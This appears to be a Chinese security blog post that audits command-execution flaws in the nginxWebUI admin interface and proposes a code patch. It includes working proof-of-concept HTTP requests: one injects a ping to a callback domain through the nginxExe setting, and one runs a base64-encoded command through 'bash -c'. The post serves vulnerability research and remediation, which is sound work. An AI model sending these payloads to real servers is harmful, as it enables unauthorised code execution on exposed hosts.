前言
临时接到通知说要防个网站用作钓鱼,在一系列的阻碍之下,只好自己手搓一套钓鱼框架,第一时间也就想到了nginx,于是乎我就想起来前段时间审计过的nginxWebUI正好方便拿来使用,UI操作就是快。但印象里当时即使是最新版的nginxWebUI后台仍存在RCE,因此重新审计回看这套代码,顺便当一回开发,在不影响业务的前提下如何修复漏洞。
历史漏洞
漏洞分析
其实大概在3.6.2版本之后,nginxWebUI就开始陆续修复/adminPage/conf/runCmd
接口的rce,但RCE漏洞仍然存在,在3.6.5之后针对该接口代码就基本没有什么改动了。这里先看一下作者之前的修复方式。
com.cym.controller.adminPage.ConfController#isAvailableCmd
承担了防御命令执行的重大使命
可控的cmd先判断是否符合switch中各项条件,若一致则提前返回true
private boolean isAvailableCmd(String cmd) {
// 检查命令格式
switch (cmd) {
case "net start nginx":
case "service nginx start":
case "systemctl start nginx":
case "net stop nginx":
case "service nginx stop":
case "systemctl stop nginx":
case "taskkill /f /im nginx.exe":
case "pkill nginx":
return true;
default:
break;
}
前端传入cmd是否与nginx相关命令一致
if (cmd.equals(settingService.get("nginxExe") + " -s stop" + dir)) {
return true;
}
if (cmd.equals(settingService.get("nginxExe") + " -c " + settingService.get("nginxPath") + dir)) {
return true
;
}
这种方式看似将cmd变为不可控变量交给RuntimeUtil.exec
函数执行,实际上nginxExe在系统中也是用户可控的,其作用是用户设定nginx路径等相关配置
ToolUtils.handlePath
会过滤这些参数中的特殊字符
所以攻击者只需要将nginxExe与cmd设定为特定payload,使上文cmd.equals
成立即可。不过即使这样也无法避免的会将" -c " + settingService.get("nginxPath") + dir
、" -s stop" + dir
带入到RuntimeUtil.exec
中执行,此时linux中的分隔符也已被过滤,诸如反弹shell之类的大部分命令都无法执行,因此这里对漏洞的修复也算是收敛了攻击面。笔者这里能想到的是只能执行诸如ping这种含有-c或者其他相关命令了,如有错误欢迎指正。
漏洞复现
此处我想满足的是com.cym.controller.adminPage.ConfController#isAvailableCmd
的这段条件
if (cmd.equals(settingService.get("nginxExe") + " -c " + settingService.get("nginxPath") + dir)) {
return true;
}
当传入的nginxExe、nginxPath传入如下内容后,cmd则为ping${IFS}jitmszgnmy.dgrh3.cn -c 1
POST http://localhost:8085/adminPage/conf/saveCmd HTTP/1.1
Host: localhost:8085
nginxExe=ping${IFS}jitmszgnmy.dgrh3.cn&nginxPath=1
成功调用cmd执行ping命令
迟迟未修的RCE漏洞
上文中分析到nginxExe可控,代码中还有多处对该参数执行RCE等相关操作。例如:com.cym.controller.adminPage.ConfController#check
,跟上文不同,该处RCE可执行任意代码。
漏洞分析
nginxExe可控,当其为空时,则会从settingService.get
中获取,且被ToolUtils.handlePath
过滤处理
假如不为空,则直接被拼接至cmd中,交由RuntimeUtil.execForStr
执行
然而就算到这一步又会碰到一个老问题:命令无法执行
但shell中是可以正常执行的
这里涉及到的是老生常谈的知识点:java命令执行,这里就不再赘述,简单分析下此处的原因:
cn.hutool.core.util.RuntimeUtil#cmdSplit
会以空格为分隔符将cmd分割
cmd数组接着会传递至java.lang.ProcessBuilder#start
函数,在 该方法中将 cmdarry 第一个参数 cmdarry[0]
当作要执行的命令,把后面的 cmdarry[1:]
作为命令执行的参数转换成 byte 数组 argBlock,此时执行语义已经被更改,正常在shell中能够执行的语句也就无法执行了。而在bash和base64的帮助下可以打通这里的RCE。
另外,该接口传入的json参数需要符合特定json类型要求才能成功触发RCE
漏洞复现
功能点在检验文件处,nginx执行命令则为可控的nginxExe参数
POST http://localhost:8085/adminPage/conf/check HTTP/1.1
Host: localhost:8085
nginxPath=&nginxExe=bash+-c+{echo,b3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcA==}|{base64,-d}|{bash,-i}&nginxDir=&json={"nginxPath":"","nginxContent":"","subContent":[],"subName":[]}
未知攻,焉知防
该接口的RCE至今未修,可能作者也是比较无奈不知该如何修正,因为nginxExe为用户设定nginx文件路径,从功能角度来看该接口是用来执行nginx命令来校验conf文件,传入参数可控+必不可少的需要直接执行命令,除了黑名单似乎没有什么好办法了。
而我这里想到的修复方式是:
将全局nginxExe都通过ToolUtils.handlePath
处理
验证用户传入参数是否为文件
既然nginxExe可控,且含义为nginx路径,因此直接可以用isFile函数来判断用户传入参数是否为文件
验证文件是否为nginx
这里我的方案是执行nginx -v 操作,通版本号的输出来判断是否为nginx。原本想的是计算hash来进行比对,但nginx毕竟是编译使用的,比对hash并不现实。如果有师傅有其他的good idea欢迎来提!
添加代码如下:
try{
//既然nginxExe可控,且含义为nginx路径,因此直接可以用isFile函数来判断用户传入参数是否为文件
File file = new File(nginxExe);
boolean isFile = file.isFile();
if (!isFile){
return renderSuccess("not nginx filepath");
}else {
//如果是文件,执行-v操作,来判断是否为nginx
rs = RuntimeUtil.execForStr(nginxExe + " -v");
if (!rs.contains("nginx version")){
return renderSuccess("not nginx");
}
}
}catch (Exception e){
logger.error(e.getMessage(), e);
rs = e.getMessage().replace("\n", "
");
}
实际效果如下:
正常进行文件校验:
用户输入恶意代码:
执行其他非nginx文件,实际这里也是通过调用RuntimeUtill执行来验证是否为nginx,假如服务器已经被上传了马子,通过nginxwebui来触发执行马子,那谁也拦不住哈哈,只能说尽可能的收缩攻击利用面,增大漏洞利用难度
总结
nginxWebUI的rce虽然是个老洞,但历时那么久仍未完全修复也是比较令人遗憾的。开发的目的毫无疑问是设计一套方便开发、运维人员管理nginx的ui产品。一键启动固然方便,但从安全角度来看,在配置文件校验、文件启动功能上为了方便用户而造成的任意代码执行,是完全可以避免的。还是那句话,永远不能相信前端用户的输入,假如这套系统做的绝一点,直接添加一键安装编译nginx的功能(前端版本号可控-下载对应文件-解压编译),这样也就一劳永逸了。
至此也算是收敛了RCE利用面,开发没打的补丁,臭安服帮他打~ 这样系统开在公网也心安了一丝丝。
来源:【https://xz.aliyun.com/】,感谢【n*o】
由于群已满,各位大佬可以加浪师父的微信,再加群。